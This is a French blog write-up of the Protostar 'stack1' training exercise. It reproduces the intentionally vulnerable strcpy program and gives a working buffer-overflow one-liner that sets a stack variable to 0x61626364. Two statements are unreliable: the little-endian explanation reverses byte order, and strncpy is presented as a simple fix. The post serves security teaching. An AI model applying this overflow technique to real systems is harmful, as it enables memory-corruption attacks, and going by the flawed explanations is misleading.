Protostar – Stack 1

Nous allons commencer le deuxième challenge de la machine virtuelle protostar : stack 1 https://exploit-exercises.com/protostar/stack1/

Voici le code du programme vulnérable :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
stack 1

Le programme est très similaire à celui du premier challenge, la seule différence est que pour réussir ce challenge on ne doit plus simplement modifier la variable modified mais lui donner la valeur « 0x61626364 » qui correspond au code ASCII de « abcd ».

Et cette fois ci la fonction causant la vulnérabilité n’est plus gets , mais strcpy .

Lorsque vous programmez en C utilisez donc la fonction strncpy qui evite les buffer overflows en précisant la taille maximale de la chaine à copier dans le buffer.

Il faut cependant bien penser que le processeur est un intel , c’est à dire qu’il  utilise la forme little-endian .

0x61626364 en little endian s’écrit 0x64636261 les octets de poids fort sont avant les octets de poids faible.

Pour résoudre ce challenge il suffit de passer en paramètre assez de caractères pour remplir le buffer , puis « dcba » pour remplir la variable modifiable par la valeurs « abcd »  soit 0x61626364.

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'dcba')")
 you have correctly got the variable to the right value
exploitation

Et voilà le challenge est réussi !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.